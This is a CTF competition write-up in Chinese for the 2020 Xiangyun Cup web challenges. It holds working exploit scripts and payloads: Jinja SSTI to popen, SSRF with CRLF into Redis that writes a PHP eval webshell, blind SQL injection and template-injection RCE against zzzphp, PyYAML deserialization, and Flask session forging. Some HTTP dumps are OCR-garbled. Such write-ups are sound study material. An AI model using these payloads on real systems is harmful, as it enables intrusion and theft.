首届祥云杯网络安全大赛

这次比赛师傅们太辛苦了, 羽师傅, atao师傅 m3w师傅 园子 air师傅....

后援团牛皮~

自己也学习了好多知识。下一次继续加油~

by Firebasky

Command

考察命令执行

|sort%09ind??????

之后就是寻找flag

|1s%09/etc/%09-1a

drwxr-xr-x 1 root root 4096 Nov 21 06:59 .findflag

|sort%09/etc/.findfla?/fla?.txt

学习新的命令

```
1 xargs
2 #查找flag
3 find / -name "*" | xargs grep "flag{"
4 xargs 能够从文件的输出中读取数据
5 #-r表示递归查询
6 grep "flag" -r /
```

flaskbot

Solved by yu22x and atao

考察 ssti

前端可以输入字符Input your Lucky Num(0.0-1000000000.0)

并且抓包user的地方是1 并且有回显。测试在user地方添加 {{''.__class__}}

修改num的值为NAN

NAN是数值数据类型的一类值(Not a Number, 非数)

```
POST /guess HTTP/1.1
                                                                              27:999999992.549 is too small
Host: eci-2ze9ady2g3fu168b0yub.cloudeci1.ichunqiu.com:8888
                                                                             28:99999996.275 is too small
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101
                                                                             29:99999998.137 is too small
Firefox/82.0
                                                                             30:999999999.069 is too small
text/html, application/xhtml+xml, application/xml: q=0, 9, image/webp, */*: q=0, 8
                                                                             31:999999999.534 is too small
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
                                                                              32:999999999.767 is too small
Content-Type: application/x-www-form-urlencoded
                                                                             33:999999999.884 is too small
Content-Length: 7
Origin: http://eci-2ze9ady2g3ful68b0yub.cloudeci1.ichunqiu.com:8888
                                                                             Connection: close
                                                                             35:9999999999.971 is too small
Referer: http://eci-2ze9ady2g3ful68b0yub.cloudeci1.ichunqiu.com:8888/
Cookie: __jsluid_h=cf3ba8ce9ef0e27baf7007515004c701;
                                                                             36:99999999999 is too small
user=e3snIv5fX2NsYXNzX199fQ==
                                                                             37:99999999999 is too small
Upgrade-Insecure-Requests: 1
                                                                             38:99999999999 is too small
Sec-GPC: 1
                                                                             40:999999999999999999 is too small
num=NAN
                                                                              41:10000000000.0 is too small
                                                                             42:10000000000.0 is too small
                                                                              43:10000000000.0 is too small
                                                                              44:10000000000.0 is too small
                                                                              45:10000000000.0 is too small
                                                                             46:10000000000.0 is too small
                                                                              47:10000000000.0 is too small
                                                                              48:10000000000.0 is too small
                                                                              49:10000000000.0 is too small
                                                                              50:10000000000.0 is too small
                                                                              51:10000000000.0 is 100 small
                                                                              Wow! <type 'str'> win.
? ( + ) Type a search term
                                                                0 matches
```

然后就是构造exp

```
1 #寻找可以利用的子类
 2
   #-*-codeing = utf-8 -*-
 3
   #@Author: Firebasky
4
   #python3
 5
   import requests
 6
   import base64
 7
   url='http://eci-2zead2y1e7kplds54vzd.cloudeci1.ichunqiu.com:8888/guess'
8
   for i in range(1,255):
        payload = "\{\{().\_class\_.\_base\_.\_subclasses\_()["+str(i)+"]\}\}"
9
10
        # print(payload)
11
        payload = payload.encode('utf-8')
12
        payload = base64.b64encode(payload)
        payload = payload.decode()
13
14
        data = {
            'num': 'NAN'
15
16
17
        headers = {
18
            'Cookie': 'user={}'.format(payload)
19
        }
20
        res = requests.post(url=url, data=data, headers=headers)
        if "warnings.catch_warnings" in res.text:
21
22
            print("子类位置是: ",i)
23
            break
```

```
#-*-codeing = utf-8 -*-
#@Author: Firebasky
#python3
import requests
import base64
url='http://eci-2zead2y1e7kplds54vzd.cloudeci1.ichunqiu.com:8888/guess'
payload = "{{().__class_.__base__.__subclasses__()
    [59].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')
    ['pop'+'en']('cat /super_secret_fl\"\"ag.txt').read()}}"
payload = payload.encode('utf-8')
```

```
payload = base64.b64encode(payload)

payload = payload.decode()

data = {
    'num': 'NAN'

headers = {
    'Cookie': 'user={}'.format(payload)

res = requests.post(url=url, data=data, headers=headers)

print(res.text)
```

```
1 #其他payload
2 {{().__class__.__base__.__subclasses__()
       [59].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')
       ['pop'+'en']('cat /super_secret_fla$@g.txt').read()}}
```

easygogogo

Solved by yu22x

考察逻辑漏洞,cookie签名重复使用

这个题自己最开始是通过目录穿越上传服务器存在的文件(如/etc/passwd),获得cookie,然后利用show页面修改cookie去读/etc/passwd。但是去读的内容就是我们上传的内容~之后就不会啦。

最后羽师傅成功做出来啦,前面的思路是一样的,只不过我们上传了同一个文件之后会覆盖服务器上面的文件,这时候就需要保存上传文件的cookie签名重新启动题目环境利用show页面去读文件(这时候的文件是完整的)

只能说羽师傅tql~

```
HIIP/1.1 200 OK
Date: Sat, 21 Nov 2020 15:45:14 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 150
POST /upload HTTP/1.1
Host: eci-2zead2yle7kplpmbt7wu.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
Gecko/20100101 Firefox/82.0
                                                                                                                                           Content-Length: 150
Commection: close
Set-Cookie:
cookie:eo/+BawEBBVVzZXJzAf+CAAEEAQhVczVybmFtZQEMAAEIUGFzc3dvcmQEDAABCEZpbGVUY
VIAQwAAQRTA'dtaAdwAAABr/4IBATEBATEBFi4vdXRsb2Fkcy80ZTViMDiMj800WY3NjBSY2NnM
TUIYahiDZkcOGVINSSuli8uli8uli8uli8uli9uli9ubGFnASAzWWViMzZmYzhiZDjkYTN1ZjYyMTk2Z
IkyNTcyOGU3YWA: Expires=Sun, 21 Nov 2021 15:45:14 GMT
X-Via-JSL: 5d3c8bd,-
X-Cache: bypass
Accept-Encoding: gzip, deflate
Content Type: multipart/form-data;
boundary
                                                         --195874947316842950791410642878
Tournary-1906/494/310642990/9141004
Content-Length: 251
Origin: http://eci-2zead2yle7kplpmbt7wu.cloudecil.ichunqiu.com
Connection: close
Referer: http://eci-2zead2y1e7kplpmbt7wu.cloudeci1.ichunqiu.com/upload
                                                                                                                                            {1 1 ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/../../../../flag
Cookie: __jsluid_h=0c3b59db4955161dd32d32ac6733911;
cookie=q/+BawEBBYVzZJ_a4f+CAABEAQhVc2VybmFtZQEMAABIUGFzc3dvcmQBDAABCEZpbGVuY
W114Qm4AQRTadduAgwAAAJ/4IBATEBATEA
Upgrade-Insecure-Requests: 1
                                                                                                                                            35eb76fc8bd2da3ef62196e925728e7c}上传成功! 您的路径是../../../flag
DNT: 1
Sec-GPC: 1
----195874947316842950791410642878--
```

然后重新启动环境上传随便文件讲行修改cookie

```
GET /show HTTP/
      show HTTP/1.1
eci-2zeb1171y741u0ac85qc.cloudeci1.ichunqiu.com
                                                                                                   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
                                                                                                         <title>gogogo</title>
Gecko/20100101 Firefox/82.0
                                                                                                   </head>
Accept: Accept: Accept: Accept: Accept: Accept: Accept: Accept: Accept: Accept-Encoding: gap, deflate
                                                                                                   Connection: close
Connection: ctom.

Referer: http://eci-2zeb1171y741u0ac85qc.cloudeci1.ichunqiu.com/upload

Cookie: __jsluid,h=5ff4967391829e4cfc9905aed5a5ffa9:

Cookie=0_4ABEBEVV=ZXJ_sAf+CAABBAQNC=VybmFt2QBMAABIUFzc3dvcmQBDAABCBZpbGVuY

W11AQwAAQRTawduAQwAAABr/4IBATBBATBP14vdXBsbZPkcy80ZTViMD1iMjB00WY3MjB5Y2NhM
                                                                                                                    <span class="navbar-toggler-icon"></span>
                                                                                                             </button>
TU1YzhiZDZkOGV1NS8uLi8uLi8uLi8uLi8uLi9mbGFnASAzNWViNzZmYzhiZDJkYTN1ZjYyMTk2Z
                                                                                                   Upgrade-Insecure-Requests: 1
DNT: 1
                                     修改成刚刚保存的cookie
DNT: 1
Sec-GPC: 1
                                                                                                  ...uex</m>
'iav-ltem">(a class="nav-link")
(li class="nav-liem">(a class="nav-link")
href="./upload">(pload</a>
(/ul)
(/ul)
(/au)
(/au)

                                                                                                   </div
                                                                                                      ain class="container">
                                                                                                   STC='data:image/jpeg;base64, ZmxhZ3tjNDg2YmMyYS05Y2Q2LTQzZmUt0GQzMS1jYjlhZmI1
OGRhMD19Cg== >
                               flag{c486bc2a-9cd6-43fe-8d31-cb9afb58da09}
                                                                                                        </main
```

最后解释一下为什么cookie没有改变 可能是服务器使用固定的算法去生成cookie签名,使用就不会改变啦

doyouknowssrf

Solved by yu22x

考察 ssrf CRLF rce

是gactf的原题, 听羽师傅redis是没有密码的。

```
1 <?php
   // ini_set("display_errors", "0n");
   // error_reporting(E_ALL | E_STRICT);
   function safe_url($url,$safe) {
4
 5
       $parsed = parse_url($url);
6
       #parse_url - 解析 URL, 返回其组成部分 存在漏洞(通过@绕过)
 7
       $validate_ip = true;
8
       if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){#判
   断端口也可以绕过
9
           echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求
   请自行修改程序</b>".PHP_EOL;
10
           return false:
11
       }else{#判断host部分是不是合法的
           preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] =
12
   long2ip($parsed['host']);
                      long2ip()将字符串格式的地址转换成Ivp4地址
           #匹配ip
13
14
           $long = ip2long($parsed['host']);
           #将ip转换成字符串
15
16
           if($long===false){
17
               ip = null;
18
               if($safe){
19
                   @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1
   attempts:1');
20
                   #设置环境变量
                   $ip = gethostbyname($parsed['host']);
21
22
                   #通过域名获取IP地址
23
                   $long = ip2long($ip);
24
                   $long===false && $ip = null;
25
                   @putenv('RES_OPTIONS');
26
27
           }else{
               $ip = $parsed['host'];
28
```

```
29
30
           #再一次判断host部分是不是合法的
           $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP,
31
    FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
32
33
       #判断scheme必须是http或者是https
34
       if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
           echo "<bs/>-{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或
35
   https:// 开头的链接或公有IP地址</b>".PHP_EOL;
36
           return false;
       }else{
37
38
           return $url;
39
       }
40 }
41
   function curl($url){#执行一个curl请求
       $safe = false;
42
43
       if(safe_url($url,$safe)) {
           $ch = curl_init();
44
           curl_setopt($ch, CURLOPT_URL, $url);
45
           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
47
           curl_setopt($ch, CURLOPT_HEADER, 0);
           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
48
49
           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
50
           $co = curl_exec($ch);
51
           curl_close($ch);
52
           echo $co;#会输出内容
53
       }
54 }
55 highlight_file(__FILE__);
56 | curl($_GET['url']);
```

第一步通过@去绕过读内网信息

原理: libcurl和parse_url的解析差异.(引用)

```
1 完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
2 这里仅讨论url中不含'?'的情况
3 php parse_url:
4 host: 匹配最后一个@后面符合格式的host
5 libcurl:
6 host: 匹配第一个@后面符合格式的host
```

```
1 | ?url=http://root:root@127.0.0.1:5000@www.baidu.com/
```

通过parse_url()函数去解析的host是www.baidu.com 而libcurl解析的host是127.0.0.1:5000最后@后面的会被忽略掉

第二步验证redis服务

访问5000端口



下一步用https协议的CRLF打Redis

5000端口是Flask服务,从消息头可以看出用的是Python-urllib/3.7,这个库爆出过CRLF,刚好可以用来打Redis

```
root@iZbplaovfjqdgqvjl2au7iZ:~/ssrfexp# nc -lvp 81
Listening on [0.0.0.0] (family 0, port 81)
Connection from [20 105 02 ...] port 81 [tcp/*] accepted (family 2, sport 36103)
GET / HTTP/1.1
Accept-Encoding: identity
Host: 47.98.163.19:81
User-Agent: Python-urllib/3.7
Connection: close
```

之后就利用CRLF去打redis 下面是羽师傅写的脚本

```
1 #by yu22x
2 import urllib.parse
3 | import requests
4
5 target= "http://eci-2zebigmdhrm106fzdnv1.cloudeci1.ichunqiu.com/"
6
7 payload = ''' HTTP/1.1
   config set dir /var/www/html/
9
   config set dbfilename a.php
10 set x '<?php eval($_POST[1]);?>'
11 save
12 foo: '''
   payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
   payload = "?url=http://127.0.0.1:6379/" + payload
14
   payload = urllib.parse.quote(payload)
15
16
   payload = "?url=http://yu22x@127.0.0.1:5000%20@yu22x" + payload
17 | print(payload)
18
19 res = rqquests.get(target + payload)
20
   print(res.text)
```

上面脚本就是利用redis的数据包进行写一句话木马

最后访问执行命令获得flag

原题是Gactf的ssrfme,原题多了一个暴力破解密码的操作,是通过主从复制来进行判断的。

```
1 #需要密码的exp
2 import urllib.parse
3 import requests
5 target= "url"
6 #添加密码的参数key
7 payload = ''' HTTP/1.1
8 AUTH 123456
9 config set dir /var/www/html/
10 config set dbfilename a.php
11 | set x '<?php eval($_POST[1]);?>'
12 save
13 foo: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
15 | payload = "?url=http://127.0.0.1:6379/" + payload
16 | payload = urllib.parse.quote(payload)
17 | payload = "?url=http://yu22x@127.0.0.1:5000%20@yu22x" + payload
18 print(payload)
19
20 res = rqquests.get(target + payload)
21 print(res.text)
```

主从复制的判断方法

这里用到了SLAVEOF命令,可以向外网发送PING数据

```
1 SLAVEOF vpsip vpsport
2 #为自己的vps服务器和端口
```

步骤4:身份验证

如果从节点中设置了masterauth选项,则从节点需要向主节点进行身份验证;没有设置该选项,则不需要验证。从节点进行身份验证是通过向主节点发送auth命令进行的,auth命令的参数即为配置文件中的masterauth的值。

如果主节点设置密码的状态,与从节点masterauth的状态一致(一致是指都存在,且密码相同,或者都不存在),则身份验证通过,复制过程继续;如果不一致,则从节点断开socket连接,并重连。

简单的说就是通过连接主redis的AUTH pwd接口进行暴力破解,如果成功就会有信息,没有成功就没有信息

easyzzz

Solved by yu22x

考察sql注入 cms 模板注入

听师傅们说这个题是cbctf的dangerous-function改的

因为是存在的cms,就去zzzphp官网下载源代码进行分析,因为百度已经发了好多zzzcms的漏洞啦,这里就差不多去复现

下载了源代码之后去访问 更新日志.txt

20200701--zzzphp V1.8.0正式版

- 1. 修复后台头像不更新的bug。
- 2. 新增全局缓存方法。
- 3. 修改菜单缓存,修改栏目自动更新。
- 4. 变更后台传参方式,避免出现修改变成添加的bug。
- 5. 后台更多地方增加了帮助描述, 更方便小白理解。
- 6. 后台进行了安全加固,减少后台注入风险。

发现是1.8.0版本的

之后就百度找一找poc

zzzphp存在SQL注入漏洞 (CNVD-2020-48676)

★ 关注(0)



在代码中加入sql语句回显进行测试,当我们传入如下post的id后,返回的sql语句如下所示,已经形成可以利用的SQL注入点了:



利用BENCHMARK函数可以直接构造exp利用时间盲注得到数据库信息。

```
1 路径: /plugins/sms/sms_list.php?act=del
2 post 参数: id[%3d(benchmark(20000000*(if(1,1,0)),hex(233333)))%23]like1
```

```
1 #by yu22x
   import requests
 3 import string
   url="http://eci-
   2zeiw8p0axfdjf9la4g8.cloudeci1.ichunqiu.com/plugins/sms/sms_list.php?
   act=del"
   flag=""
 5
   s=string.ascii_lowercase+string.digits+"{}-_,"
 6
 7
   for i in range(0,140):
       print(i)
8
9
       for j in s:
10
            #print(j)
11
            data={
```

```
'id[=(benchmark(20000000*(if((ord(substr((select
12
   group_concat(table_name) from information_schema.tables where
    table_schema=database()),
    {0},1))like({1})),1,0)),hex(233333)))#]'.format(i,ord(j)):'1'
13
14
            #print(data)
15
            try:
                requests.post(url,data=data,timeout=(1.5,1.5))
16
17
            except:
18
                flag+=j
19
                print(flag)
20
                break
```

最后注入出用户名密码

admin fuzzy9inve

之后是存在一个后台地址泄露的漏洞

路径: \plugins\webuploader\js\webconfig.php

可以看到后台地址是 /admin539/

修改后台模块进行添加payload

```
1 {if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))
    (Li8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
```

修改模板userleft,把if,payload填进去 然后通过index.php页面参数进行访问就可以了



string(43) "flag{815a8e14-e3fe-4ef7-964d-b073fc3cfa07} "

方法二

by 雪殇师傅

直接是在/search/页面进行post提交参数

```
1 {{leftstr:isf,1}
    {leftstr:fs,1}:var_dump(((strrev(stnetnoc_teg_el{leftstr:isf,1})))
    {leftstr:fs,1})))((strrev(edoced_46esab))
    (Li8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
```

```
POST /search/ HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, */*;q=0.8
Referer: http://www.fuckcms.com/form/?reg
```

```
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie:PHPSESSID=ighlke8vh4ennfegq6qnd8jlg3; zzz847_usercheck=0;
zzz847_keys=sdasfsdf
Connection: close
Content-Length: 69

keys={{leftstr:isf,1}
{leftstr:fs,1}:var_dump(((strrev(stnetnoc_teg_el{leftstr:isf,1}) ((strrev(edoced_46esab))) (Li8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
```

雪殇师傅tq1~

profile system

Solved by yu22x atao m3w

考察 目录穿越 yaml序列化

哎 有点后悔没有赶上复现

那就简单的分析一下这个题,题目要求上传一个yaml ,或者上传yml文件。因为自己对这个文件不是特别了解就去学习了一下

python: yaml模块

yam1是一个专门用来写配置文件的语言

学习中.....

题目源代码

源代码是通过上传文件之后的目录穿越获得的

```
1 #app.py
2 from flask import Flask, render_template, request, flash, redirect,
   send_file, session
3 | import os
4 import re
5 from hashlib import md5
6 import yaml
7
8 app = Flask(__name__)
   app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")#连接两个或更
    多的路径名组件
   app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'#密钥
10
11 | ALLOWED_EXTENSIONS = {'yaml','yml'}#上传类型
12
   def allowed_file(filename):
13
       return '.' in filename and filename.rsplit('.', 1)[1].lower()
14
15
16
   @app.route("/")
   def index():
17
       session['priviledge'] = 'guest'
18
       return render_template("home.html")#渲染
19
20
   @app.route("/upload", methods=["POST"])
```

```
def upload():#对上传文件的处理
22
23
        file = request.files["file"]
        if file.filename == '':
24
25
            flash('No selected file')
26
            return redirect("/")
27
        elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):#只能上传允许
    的文件
28
            flash('Please upload yaml/yml only.')
29
            return redirect("/")
30
        else:#对上传的目录进行md5加密
31
            dirname = md5(request.remote_addr.encode()).hexdigest()
32
            filename = file.filename
33
            session['filename'] = filename
            upload_directory = os.path.join(app.config['UPLOAD_FOLDER'],
34
    dirname)
            if not os.path.exists(upload_directory):
35
36
                os.mkdir(upload_directory)
            upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname,
37
    filename)
38
            file.save(upload_path)
            return render_template("uploaded.html",path = os.path.join(dirname,
39
    filename))
40
    @app.route("/uploads/<path:path>")
41
    def uploads(path):#获得上传的数据
    #存在目录穿越获得源代码
43
44
        return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
45
46
    @app.route("/view")
47
    def view():
48
        dirname = md5(request.remote_addr.encode()).hexdigest()
        realpath = os.path.join(app.config['UPLOAD_FOLDER'],
49
    dirname, session['filename']).replace('..','')
50
        if session['priviledge'] == 'elite' and os.path.isfile(realpath):
51
            #绕过session 利用 SECRET_KEY 伪造 session 绕过验证
52
53
                with open(realpath, 'rb') as f:
                    data = f.read()
54
55
                    #需要绕过正则表达式
56
                    if not re.fullmatch(b''^[-\--]a-\}\n]*$",data,
    flags=re.MULTILINE):
                        info = {'user': 'elite-user'}
57
                        flash('Sth weird...')
58
59
                    else:
60
                        info = yaml.load(data)#漏洞利用点
                    if info['user'] == 'Administrator':
61
                        flash('Welcome admin!')
62
63
                    else:
64
                        raise ()
65
            except:
                info = {'user': 'elite-user'}
66
67
        else:
            info = {'user': 'guest'}
68
        return render_template("view.html",user = info['user'])
69
70
    if __name__ == "__main__":
71
72
        app.run('0.0.0.0', port=8888, threaded=True)
73
```

python通过open方式读取文件数据,再通过load函数将数据转化为列表或字典

简单的说就是使用yaml.load()形成yaml反序列化造成rec

利用思路就是 上传一个exp的yaml文件,并且进行伪造cookie,让其进行info = yaml.load(data)执行命令

```
#exp.yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('whoami')"
为了绕过正则表达式将其转换成16进制
```

!!pythonobject"为yaml标签, yaml.load()会识别该标签并调用相应的方法执行反序列化操作

伪造cookie

priviledge为elite

```
python3 flask_session_cookie_manager3.py encode -s
Th1s_is_A_sup333er_s1cret_k1yyyyy -t
'{"filename":"exp.yaml","priviledge":"elite"}'
```

root@kali:/media/root/e31a9eb8-f81c-49d0-b461-072f6bd7d8fd/flasksession/flask-session-cookie
-manager# python3 flask_session_cookie_manager3.py encode -s Th1s_is_A_Sup333er_s1cret_k1yyy
yy -t '{"filename":"exp.yaml","priviledge":"elite"}'
eyJmaWxlbmFtZSI6ImV4cC55YW1sIiwicHJpdmlsZWRnZSI6ImVsaXRlIn0.X7u6VA.qYPNeINWQxCDjsrR9XZt15eQx
Y4

访问view的时候修改伪造的cookie进行利用yam1.load()

flag获得的方法是通过命令执行将flag所在的文件>定向到上传后的路径然后进行访问获得

参考:

SSRF中两个函数的绕过

2020 GACTF web

Redis Slaveof 命令

XCTF-GACTF 2020 Writeup

CRLF攻击

redis-rogue-getshell

记CTF比赛中发现的Python反序列化漏洞

zzzphp存在SQL注入漏洞(CNVD-2020-48676)

<u>zzzphp</u>

zzzcms(php) v1.7.5 前台SQL注入及其他

ZZZCMS帮助文档

zzzcms(php) v1.7.5 前台RCE-复现

第三届CBCTF官方WP

<u>python: yaml模块</u>

Python PyYAML反序列化漏洞实验和Payload构造

(Python) PyYAML反序列化漏洞

flask-session-cookie-manager

uiuctf20